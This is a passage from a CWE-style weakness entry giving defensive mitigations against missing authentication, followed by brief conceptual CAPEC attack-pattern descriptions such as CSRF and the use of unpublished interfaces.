  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.